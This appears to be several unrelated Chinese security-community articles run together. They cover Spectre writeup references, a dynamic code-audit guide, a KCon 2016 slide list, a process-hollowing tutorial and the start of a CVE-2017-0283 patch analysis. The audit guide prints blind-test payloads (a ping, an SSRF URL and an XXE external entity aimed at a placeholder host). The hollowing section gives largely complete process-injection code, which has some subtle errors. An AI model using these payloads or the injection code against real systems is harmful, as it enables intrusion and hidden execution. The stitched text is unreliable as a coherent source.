* <https://arxiv.org/pdf/1507.06955.pdf：Daniel> Gruss，ClémentineMaurice和Stefan Mangard的rowhammer.js研究包含关于L3缓存逐出模式的信息，我们在KVM PoC中重用它以驱逐函数指针。
* <https://xania.org/201602/bpu-part-one：Matt> Godbolt发表了关于对英特尔处理器上分支预测器结构进行逆向工程的博客。
* <https://www.sophia.re/thesis.pdf：Sophia> D'Antoine撰写了一篇论文，表明操作码调度理论上可用于在超线程之间传输数据。
* <https://gruss.cc/files/kaiser.pdf：Daniel> Gruss，Moritz Lipp，Michael Schwarz，Richard Fellner，ClémentineMaurice和Stefan Mangard撰写了一篇关于缓解由用户空间和内核之间的可分页共享引起的微体系结构问题的论文。
* <https://www.jilp.org/：本期刊包含许多关于分支预测的文章。>
* <http://blog.stuffedcow.net/2013/01/ivb-cache-replacement/：Henry> Wong的这篇博文探讨了英特尔Ivy Bridge架构使用的L3高速缓存替换策略。
# 参考
[1]
这个最初的报告没有包含关于变体3的任何信息。我们曾经讨论过直接读取内核内存是否可行，但认为这不太可能。在<https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/发布Anders> Fogh的工作之前，我们后来测试并报告了变体3
。
[2]
“测试处理器”部分列出了精确的型号名称。用于重现此操作的代码位于bugtracker的writeup_files.tar归档中，位于文件夹userland_test_x86和userland_test_aarch64中。
[3] 攻击者控制的偏移量用于通过此PoC对阵列执行超出边界的访问，是一个32位值，将可访问地址限制为内核堆区域中的4GiB窗口。
[4] 此PoC不支持SMAP支持的CPU; 然而，这不是一个基本的限制。
[5] linux-image-4.9.0-3-amd64，版本为4.9.30-2 +
deb9u2（<http://snapshot.debian.org/archive/debian/20170701T224614Z/pool/main/l/linux/>
linux-image-4.9.0-3-amd64_4.9.30-2％2Bdeb9u2_amd64.deb，sha256
5f950b26aa7746d75ecb8508cc7dab19b3381c9451ee044cd2edfd6f5efff1f8，通过Release.gpg，Release，Packages.xz签名）;
那是我安装机器时的当前发行版内核版本。PoC不太可能与其他内核版本无变化地协作; 它包含许多硬编码地址/偏移量。
[6] 手机从2017年5月开始运行Android版本。
[7] <https://software.intel.com/en-us/articles/intel-sdm>
[8] <https://software.intel.com/en-us/articles/avoiding-and-identifying-false-sharing-among-threads，section“background> ”
[9] 超过2 15种映射效率更高，但内核对流程可以拥有的VMA数量设置了2 16 的硬限制。
[10]
英特尔的优化手册指出：“在HT技术的第一个实现中，物理执行资源是共享的，并且每个逻辑处理器的体系结构状态都是重复的”，因此预测状态可以共享。虽然预测器状态可能由逻辑核心标记，但这可能会降低多线程进程的性能，因此似乎不太可能。
[11] 如果历史缓冲区比我们测量的大一点，我们增加了一些余量 -特别是因为我们在不同的实验中看到了稍微不同的历史缓冲区长度，并且因为26不是一个非常整数。
[12]
基本思想来自<http://palms.ee.princeton.edu/system/files/SP_vfinal.pdf，第四节，尽管该论文的作者仍然使用了大量的页面。> | 社区文章 |
# 动态代码审计的用处
1. 大型项目代码结构复杂
2. 有些危险的功能隐藏较深（危险的定时计划任务、sqlite数据库任意创建导致任意文件覆盖……）
3. 提高效率，希望通过一些黑盒的方法比较快速的找到漏洞。
# 常见漏洞分类
1. 数据库操作
2. 敏感函数的调用和传参
3. 文件读写操作
4. 网络访问操作
# 正文目录
1. 数据库general log 日志
2. hook关键函数
3. 结合auditd
4. http盲攻击
5. fuzzing
# 数据库日志
general-log是记录所有的操作日志,不过他会耗费数据库5%-10%的性能,所以一般没什么特别需要,大多数情况是不开的,例如一些sql审计和代码审计等,那就是打开来使用了
Mysql通过命令行的方式打开general log:
set global general_log_file='';
set global general_log=on;
Postgresql 通过编辑配置文件打开general log:
编辑：postgresql.conf
log_directory = 'pg_log'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_statement = 'all'
打开之后用burp向web api发送一些包含sql注入的畸形数据
利用Linux的grep指令过滤出sql执行中的ERROR关键字，就可以很快的找到sql注入漏洞
# Hook关键函数
根据[基于python的自动化代码审计](https://www.secpulse.com/archives/68344.html)和[pyekaboo](https://github.com/SafeBreach-Labs/pyekaboo/)这两个文章的启发而来
Python对象可以被轻易的改变，通过设置PYTHONPATH这个环境变量，使python在加载string这个模块的时候优先加载我自定义的string模块，下图演示的是劫持string模块的upper函数
之后我的思路是，通过劫持python的函数，把输入到危险函数的参数输出到日志中，最后调用正常的python函数
这样就可以劫持我们认为敏感的函数
劫持模块的demo：
import imp
import sys
class _InstallFcnHook(object):
def __init__(self,fcn):
self._fcn=fcn
def _pre_hook(self,*args,**kwargs):
print "hook:"+str(args)
return (args,kwargs)
def __call__(self,*args,**kwargs):
(_hook_args,_hook_kwargs)=self._pre_hook(*args,**kwargs)
retval=self._fcn(*_hook_args,**_hook_kwargs)
return retval
fd,pathname,desc=imp.find_module(__name__,sys.path[::-1])
mod =imp.load_module(__name__,fd,pathname,desc)
system=_InstallFcnHook(system)
劫持效果：
这就意味着我们可以劫持危险的函数，把参数输出到日志里面，通过日志信息，可以判断这些参数是否可以被输入控制。通过这种方式可以方便找到ssti、pickle反序列化漏洞和命令执行漏洞等其他的漏洞
而且这些可以很方面的拓展到其他的模块中
1. cd hook/ #进入到hook模块所在目录
2. cp os.py xxx.py #把os模块复制一份，xxx模块是你想hook的模块
3. 编辑xxx.py ：注释掉原来被hook的函数，添加想要hook的函数，下面的示例是hook了subprocess模块中check_call函数
Ps:需要填一些坑：
1. 修改启动代码从shell中启动python web
因为有一些python web是从wsgi中启动的，这些只要简单修改启动代码就可以从WSGI方式启动切换到shell启动
2. 从内存中删掉已加载的模块
一些模块通过 **import** 动态导入，需要在动态导入后通过del modules删掉被装载的模块
3. 关闭调试选项
例如在flask启动时将debug选项设置为false，否则会产生两个python进程
4. 其他问题
Python web性能下降、代码不兼容、有些模块无法被hook，其中python的内置函数open就无法通过这样的方式被hook。
# 结合Auditd
网上有很多方法去获取python
web的文件读写操作，其中有一种是在文件读写函数前面添加装饰器，但是我觉得那种方法太过于烦琐，且不能覆盖到所有的文件读写操作，那怎么不通过修改原始代码去获取文件读写操作？
可以利用Auditd：
auditd（或 auditd 守护进程）是Linux审计系统中用户空间的一个组件，其可以记录Linux中文件，进程等操作,且安装方便
CentOS 默认安装
Ubuntu 安装：apt-get install auditd
只要简单的配置就可以监视一些文件操作
sudo auditctl -a exclude,always -F msgtype!=PATH -F msgtype!=SYSCALL #记录文件操作
sudo auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command #记录所有的shell指令的执行
sudo auditctl -a always,exit -F pid=$mypid #记录指定进程文件操作
执行 sudo auditctl -l 查看所有的规则
只要发送一些包含目录跳转的畸形数据给webapi，如有任意文件读取的漏洞就可以很快的发现。
因为Auditd日志中包含大量其他的日志，通过grep和关键字高亮工具（<https://github.com/paoloantinori/hhighlighter）进行查看日志（grep过滤PATH，高亮name）>
除了记录文件读取，还能记录文件的其他操作
这样就可以找到：
1. 任意文件上传
2. 任意文件创建
3. 任意文件读取
4. 任意文件删除
# http盲攻击
怎么解决诸如ssrf等网络操作的问题？
ssrf攻击可以让黑客越过防火墙来探测或者攻击一个大型企业的内网
那么在动态代码审计过程中就可以通过构造特定的poc，来探测代码中是否有对应的漏洞
可以构造请求dns解析的数据
1. 命令执行的常见形式
Ping –c 1 xxx.pw
1. ssrf的常见形式
url=http://xxx.pw
1. xxe的常见形式
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://xxxx.pw/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
通过dns日志的记录可以很快找到诸如ssrf、xxe、命令执行等，包括可以找到一些隐藏的比较深的定时计划任务的中漏洞
# fuzzing
做完上面的一些工作之后，我在想如何提高我的工作效率，毕竟我们部门产品众多，但是代码审计这个工作只有我一个在做。我把正常数据，畸形数据，poc数据，等其他数据全发给web
api，然后在审计数据库日志，危险函数日志，auditd日志，dns日志，web报错日志，希望能从日志中发现潜藏的漏洞
利用burp的intruder这个功能就可以实现，测试用例可以使用[wooyun提供的fuzzing数据](https://github.com/xinali/wooyun)
Ps:还是有几个自己需要处理的问题
1. 需要根据自己的业务类型制定自己的测试用例
2. 自己要想办法处理产生的大量的日志
3. 其他问题
# 未来要做的事情
1. 自动化部署客户端
2. 开发一个日志处理平台
3. 尽可能的覆盖更多的漏洞类型
4. 丰富测试用例
5. 开源 （ <https://github.com/niexinming/python_hook）>
议题ppt下载地址在下面 | 社区文章 |
KCon 黑客大会2016顺利召开，新鲜出炉的议题PPT现已公开啦！
应演讲者要求，现公开十八个议题中的十五个议题，以下是下载链接。
* [Hacking Cloud Products - Demon](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0827_1_Demon_Hacking%20Cloud%20Product.pdf) :从黑客思维角度分析多类云产品的脆弱点、如何突破云边界，并给出一些影响云产品的安全漏洞案例。
* [塔防模型落地之运维大战情报 - 黑客叔叔](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0827_2_%E9%BB%91%E5%AE%A2%E5%8F%94%E5%8F%94_%E5%A1%94%E9%98%B2%E6%A8%A1%E5%9E%8B%E8%90%BD%E5%9C%B0%E4%B9%8B%E8%BF%90%E7%BB%B4%E5%A4%A7%E6%88%98%E6%83%85%E6%8A%A5.pptx): 深防御塔防模型落地对接安全运维之时，威胁情报横空出世。壁垒边界抑或先知与银弹，演讲者将与大家共同探讨当塔防模型与安全运维遇上威胁情报时产生的特有景象.
* [Reverse Engineering Trilogy - 刘凯仁](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0827_5_%E5%88%98%E5%87%AF%E4%BB%81_Reverse%20Engineering%20Trilogy.pdf): 放弃现有旧工具，介绍由我们团队打造的几乎已经是逆向的标准软件（Capstone、Unicorn、Keystone）。
* [VMProtect 的一次奇妙之旅 - 何潇潇](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0827_6_%E4%BD%95%E6%BD%87%E6%BD%87_VMProtect%20%E7%9A%84%E4%B8%80%E6%AC%A1%E5%A5%87%E5%A6%99%E4%B9%8B%E6%97%85.pdf): VMProtect 是目前最强的虚拟化保护技术。本议题将讨论其虚拟化保护相关背景知识与设计原理，并结合一个非常流行的客户端进行还原演示。
* [Attack Android App's Third Library - dragonltx quhe](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0827_7_dragonltx_quhe_Attack%20Android%20App's%20Third%20Library.pdf): 本议题介绍针对 Android 第三方库的漏洞攻击和 Fuzz 方法，并围绕开发者应对方案展开讨论。
* [Binder Fuzz based on drozer - 行之](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0827_8_%E8%A1%8C%E4%B9%8B_Binder%20Fuzz%20based%20on%20drozer.pdf): 首先介绍基于 drozer 的 binder fuzz 模型，然后分享几个有趣的安卓系统漏洞。最后介绍系统服务漏洞的常见利用方法。
* [剑走偏锋之 Hacking 无处不在 - 朱利军](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0828_1_%E6%9C%B1%E5%88%A9%E5%86%9B_%E5%89%91%E8%B5%B0%E5%81%8F%E9%94%8B%E4%B9%8B%20Hacking%20%E6%97%A0%E5%A4%84%E4%B8%8D%E5%9C%A8.pdf): 站在漏洞挖掘的角度介绍万物互联环境下如何攻破各类互联网络，包括智能联网设备、工控网络、交通网络等。
* [无线 Fuzzing 之旅 - Kevin2600](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0828_2_Kevin2600_%E6%97%A0%E7%BA%BF%20Fuzzing%20%E4%B9%8B%E6%97%85.pdf): 本议题将涉及 Wi-Fi、蓝牙、NFC 等常见无线通讯协议安全分析，带领大家一同体验剑走偏锋、反其道而行之的无线 Fuzzing 探索之旅。
* [伪基站高级利用技术 - Seeker](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0828_3_Seeker_%E4%BC%AA%E5%9F%BA%E7%AB%99%E9%AB%98%E7%BA%A7%E5%88%A9%E7%94%A8%E6%8A%80%E6%9C%AF.pdf): 介绍 GSM､UMTS､LTE 伪基站概况，以及如何利用伪基站实现中间人攻击、仿冒手机身份、拦截短信，完成对手机和网络账户的快速入侵。
* [网络设备漏洞分析技术研究 - timo](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0828_6_timo_%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6.pdf): 介绍 GSM､UMTS､LTE 伪基站概况，以及如何利用伪基站实现中间人攻击、仿冒手机身份、拦截短信，完成对手机和网络账户的快速入侵。
* [Hacking-Came Saw Conquered-网络空间中的IoT安全 - 闫兆腾](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0828_7_%E9%97%AB%E5%85%86%E8%85%BE_Hacking-Came%20Saw%20Conquered-%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E4%B8%AD%E7%9A%84IoT%E5%AE%89%E5%85%A8.pdf): 解密网络空间物联网设备快速搜索技术和指纹提取方法，分析全球联网设备态势分布。最后，通过 0day 漏洞利用带你看世界。
* [感知、诱捕、情报、协作：网络空间工控系统威胁情报 - Kimon](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0828_8_Kimon_%E6%84%9F%E7%9F%A5%E3%80%81%E8%AF%B1%E6%8D%95%E3%80%81%E6%83%85%E6%8A%A5%E3%80%81%E5%8D%8F%E4%BD%9C%EF%BC%9A%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E5%B7%A5%E6%8E%A7%E7%B3%BB%E7%BB%9F%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5.pdf): 本议题将立足网络空间攻防对抗的新战场——工控系统，提出威胁感知诱捕计划并分析与展示系统捕获的入侵行为。
* [与僵尸网络攻防对抗的激情岁月 - b1t](https://github.com/knownsec/KCon/blob/master/2016/%5BKCon%202016%5D0828_9_b1t_%E4%B8%8E%E5%83%B5%E5%B0%B8%E7%BD%91%E7%BB%9C%E6%94%BB%E9%98%B2%E5%AF%B9%E6%8A%97%E7%9A%84%E6%BF%80%E6%83%85%E5%B2%81%E6%9C%88.pdf): 主要讲述与僵尸网络攻防对抗的一些经验，包括识别、监控、反制僵尸网络的一些技术分享以及关于一个僵尸网络黑色产业链的案例介绍。
以上内容均在Github上收录： https://github.com/knownsec/KCon/
[Paper归档](http://paper.seebug.org/papers/Security%20Conf/KCon/)
* * * | 社区文章 |
# 前言
对于进程隐藏技术有很多种实现方式，本文就对傀儡进程进行分析及实现。
# 基础知识
## 挂起方式创建进程
我们知道如果进程创建之后会在内存空间进行拉伸，那么我们如果需要写入shellcode，只能在程序运行之前写入，因为当程序运行起来之后是不能够进行操作的。但是有一个例外，如果我们以挂起模式创建进程，写入shellcode到内存空间，再恢复进程，也能够达到同样的效果。
我们知道创建进程用到`CreateProcess`这个函数，首先看下结构
BOOL CreateProcess(
LPCTSTR lpApplicationName, // 应用程序名称
LPTSTR lpCommandLine, // 命令行字符串
LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性
BOOL bInheritHandles, // 是否继承父进程的属性
DWORD dwCreationFlags, // 创建标志
LPVOID lpEnvironment, // 指向新的环境块的指针
LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针
LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息
LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息
);
其中以挂起方式创建进程与两个参数有关，分别是第三个参数和第四个参数
**lpProcessAttributes**
为`CreateProcess`结构中的第三个成员，指向`SECURITY_ATTRIBUTES`结构的一个指针，用来设置进程句柄能否被继承，若设置为NULL，则在句柄表中的值为0，进程句柄不能够被子进程继承
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength; //结构体的大小
LPVOID lpSecurityDescriptor; //安全描述符
BOOL bInheritHandle; //指定返回的句柄是否被继承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
**lpThreadAttributes**
为`CreateProcess`结构中的第四个成员，指向`SECURITY_ATTRIBUTES`结构的一个指针，用来设置线程句柄能否被继承，若设置为NULL，则在句柄表中的值为0，线程句柄不能够被子进程继承
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength; //结构体的大小
LPVOID lpSecurityDescriptor; //安全描述符
BOOL bInheritHandle; //指定返回的句柄是否被继承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
那么这里验证一下挂起进程之后就不能够对进程进行操作
父进程代码，创建一个ie浏览器的进程并调用`CreateProcess`创建子进程
// win32 create process3.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[])
{
char szBuffer[256] = {0};
char szHandle[8] = {0};
SECURITY_ATTRIBUTES ie_sa_p;
ie_sa_p.nLength = sizeof(ie_sa_p);
ie_sa_p.lpSecurityDescriptor = NULL;
ie_sa_p.bInheritHandle = TRUE;
SECURITY_ATTRIBUTES ie_sa_t;
ie_sa_t.nLength = sizeof(ie_sa_t);
ie_sa_t.lpSecurityDescriptor = NULL;
ie_sa_t.bInheritHandle = TRUE;
//创建一个可以被继承的内核对象,此处是个进程
STARTUPINFO ie_si = {0};
PROCESS_INFORMATION ie_pi;
ie_si.cb = sizeof(ie_si);
TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe");
CreateProcess(
NULL,
szCmdline,
&ie_sa_p,
&ie_sa_t,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL, &ie_si, &ie_pi);
//组织命令行参数
sprintf(szHandle,"%x %x",ie_pi.hProcess,ie_pi.hThread);
sprintf(szBuffer,"C:/project/win32 create process4/Debug/win32 create process4.exe %s",szHandle);
//定义创建进程需要用的结构体
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
//创建子进程
BOOL res = CreateProcess(
NULL,
szBuffer,
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL, &si, &pi);
return 0;
}
子进程代码如下，这里获取到子进程的句柄之后，使用`SuspendThread`挂起进程，等待5s后使用`ResumeThread`恢复进程
// win32 create process4.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[])
{
DWORD dwProcessHandle = -1;
DWORD dwThreadHandle = -1;
char szBuffer[256] = {0};
memcpy(szBuffer,argv[1],8);
sscanf(szBuffer,"%x",&dwProcessHandle);
memset(szBuffer,0,256);
memcpy(szBuffer,argv[2],8);
sscanf(szBuffer,"%x",&dwThreadHandle);
printf("获取IE进程、主线程句柄\n");
Sleep(5000);
//挂起主线程
printf("挂起主线程\n");
::SuspendThread((HANDLE)dwThreadHandle);
Sleep(5000);
//恢复主线程
::ResumeThread((HANDLE)dwThreadHandle);
printf("恢复主线程\n");
Sleep(5000);
//关闭ID进程
::TerminateProcess((HANDLE)dwProcessHandle,1);
::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE);
printf("ID进程已经关闭.....\n");
char szBuffer[256] = {0};
GetCurrentDirectory(256,szBuffer);
printf("%s\n",szBuffer);
getchar();
return 0;
}
这里看下实验效果，可以看到挂起主线程时候，ie浏览器是点不动的，恢复主线程之后又可以正常运行，那么我们尝试使用挂起模式启动一个进程
以挂起模式启动进程，只需要改一个地方，就是`CreateProcess`的第六个成员，设置为`CREATE_SUSPENDED`(非活动状态)即可，挂起之后使用`ResumeThread`恢复执行
// win32 create process3.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[])
{
STARTUPINFO ie_si = {0};
PROCESS_INFORMATION ie_pi;
ie_si.cb = sizeof(ie_si);
TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe";
CreateProcess(
NULL,
szBuffer,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&ie_si,
&ie_pi
);
//恢复执行
ResumeThread(ie_pi.hThread);
return 0;
}
实现效果如下，这里使用挂起模式创建`notepad`，可以看到任务管理器里面已经有了这个进程，但是还没有显示出来，使用`ResumeThread`恢复执行之后就是一个正常的进程
# 实现过程
知道了以挂起模式启动进程，我们整理下思路。首先我们以挂起形式创建进程，创建进程过后我们的目的是写入shellcode，那么就要自己申请一块可读可写的区域内存放我们的shellcode，然后再恢复主线程，将函数入口指向我们的shellcode即可，当然这只是一个demo，具体细节还需要具体优化。
这里我使用了一个内核api`ZwUnmapViewOfSection`，用来清空之前内存里面的数据
那么首先我们把创建进程这部分写一个单独的函数
使用`CREATE_SUSPENDED`挂起创建进程的方式
CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
再写一个if语句判断进程创建是否成功，这里我创建的进程还是IE，完整代码如下
BOOL CreateIEProcess()
{
wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
BOOL bRet;
x CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
if (bRet)
{
printf("Create IE successfully!\n\n");
}
else
{
printf("Create IE failed\n\n");
}
return bRet;
}
然后使用内核api`ZwUnmapViewOfSection`卸载创建这个基质内存空间的数据，这里先看下`ZwUnmapViewOfSection`的结构
NTSTATUS ZwUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress );
这个函数在`wdm.h`里面声明，那我们使用`ntdll.dll`将这个api加载进来
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
然后使用`GetModuleHandleA`获取模块基址
HMODULE hModuleBase = GetModuleHandleA(NULL);
使用`GetCurModuleSize`获取映像大小
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
每个线程内核对象都维护着一个CONTEXT结构，里面保存了线程运行的状态，线程也就是eip，
这样可以使CPU可以记得上次运行该线程运行到哪里了，该从哪里开始运行，所以我们要先获取线程上下文的状态，使用到`GetThreadContext`
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);
下一步我们需要知道程序的基址，这里我用到PEB结构和`ReadProcessMemory`来获取，首先看下PEB的结构
root> dt_peb
nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 SpareBits : Pos 1, 7 Bits
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
`ImageBaseAddress`在+0x008这个位置，所以这个地方`ReadProcessMemory`的参数就是PEB+8
DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
DWORD dwBaseAddr;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL);
return dwBaseAddr;
}
使用`ZwUnmapViewOfSection`来卸载空间数据
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
卸载完空间数据之后，用`VirtualAllocEx`重新为我们创建的进程申请一块空间
VirtualAllocEx(pi.hProcess, hModuleBase,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
然后使用`WriteProcessMemory`写入
WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);
在写入完成之后使用`GetThreadContext`，设置获取标志为 CONTEXT_FULL，即获取新进程中所有的线程上下文
ThreadCxt.ContextFlags = CONTEXT_FULL;
然后修改eip指向我们自己的函数地址，这里写一个MessageBox
DWORD GetNewOEP()
{
return (DWORD)MessageBox;
}
void MessageBox()
{
MessageBoxA(0, "Inject successfully", "", 0);
}
Threadna.Eip = GetNewOEP();
完整代码如下
#include <windows.h>
#include <tchar.h>
#include <iostream>
using namespace std;
typedef long NTSTATUS;
typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
IN HANDLE ProcessHandle,
IN LPVOID BaseAddress
);
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
PROCESS_INFORMATION pi = { 0 };
BOOL CreateEXE()
{
wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
BOOL bRet;
bRet = CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
if (bRet)
{
printf("[*] Create process successfully!\n\n");
}
else
{
printf("[!] Create process failed\n\n");
}
return bRet;
}
DWORD GetCurModuleSize(DWORD dwModuleBase)
{
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
return pNtHdr->OptionalHeader.SizeOfImage;
}
DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
DWORD dwBaseRet;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
return dwBaseRet;
}
void Mess()
{
MessageBoxA(0, "Inject successfully", "", 0);
}
DWORD GetNewOEP()
{
return (DWORD)Mess;
}
int _tmain(int argc, _TCHAR* argv[])
{
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection);
if (!ZwUnmapViewOfSection)
{
printf("[!] ZwUnmapViewOfSection failed\n\n");
exit(1);
}
if (!CreateEXE())
{
printf("[!] Create Process failed\n\n");
exit(1);
}
printf("[*] The process PID is : %d\n\n", pi.dwProcessId);
HMODULE hModuleBase = GetModuleHandleA(NULL);
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
CONTEXT Thread;
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);
DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpAllocAddr)
{
printf("[*] VirtualAllocEx successfully!\n\n");
}
else
{
printf("[!] VirtualAllocEx failed\n\n");
return FALSE;
}
if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL))
{
printf("[!] WriteProcessMemory failed\n\n");
return FALSE;
}
else
{
printf("[*] WriteProcessMemory successfully!\n\n");
}
Thread.ContextFlags = CONTEXT_FULL;
Thread.Eip = GetNewOEP();
SetThreadContext(pi.hThread, &Thread);
if (-1 == ResumeThread(pi.hThread))
{
printf("[!] ResumeThread failed\n\n");
return FALSE;
}
else
{
printf("[*] ResumeThread successfully!\n\n");
}
}
# 实现效果
到这我们的函数就已经成功了，运行一下弹出了messagebox，证明傀儡进程创建成功
欢迎关注公众号 **红队蓝军** | 社区文章 |
# 【漏洞分析】CVE-2017-0283：Windows Uniscribe远程代码执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：blogspot.com
原文地址：<https://0patch.blogspot.com/2017/07/0patching-quick-brown-fox-of-cve-2017.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 前言**
上个“补丁星期二”，修复了一个名为“USP10!MergeLigRecords中的Windows Uniscrible
字体处理堆破环”的RCE漏洞。多天后，谷歌Project Zero团队的Mateusz
Jurczyk发布了一个带有PoC的报告。在那个Windows库中同时存在了8个漏洞中，我选了这个最严重的漏洞来分析。
**0x01 重现**
在Windows字体查看器中打开压缩包Poc.zip中的字体文件，显示"quick brown fox text" ，但是没有崩溃。我是在Windows 7
x64中测试：
1\. 解压PoC
2\.
在系统中安装signal_sigsegv_313372b5_210_42111ccffd2e10aba8b5e6ba45289ef3.ttf（或者包中任何其他的TTF）
3\. 运行notepad
4\. 选择格式->字体…>[字体] 4000 Tall 和 [脚本] Arabic
立即会崩溃：
调用堆栈：
**0x02 PoC的分析**
通常应该浏览PoC，并且试图在深入调试之前理解它的payload，通过了解数据的布局将节约大量时间。因此我在网上搜索了原始的TTF文件。我观察两个文件之间的不同，以便定位到恶意构造的字体属性。比较显示了一个常见的结构体。然而，使用一个自动化fuzzer，得到太多可疑的属性。这非常耗时，我不得不放弃。
**0x03 分析官方补丁**
提取和分析官方补丁是下一步该做的事。因此让我们看一下。
漏洞版本是1.626.7601.23688版本的usp10.dll，被补丁1.626.7601.23807代替。文件大小大约一致（788KB），使用BingDiff找到了733个函数。其中有个是崩溃调用堆栈中的一个。首先检查这些函数中的不同，因为补丁经常会在漏洞调用之前检查输入数据。第一个（USP10!MergeLigRecords）来自立即崩溃的上下文，它是一样的。下一个（USP10!LoadTTOArabicShapeTables）显示了修改。下图左边的是老的（漏洞），右边是新的（补丁）。
我们能看见有漏洞的调用MergeLigRecords在一个循环中。
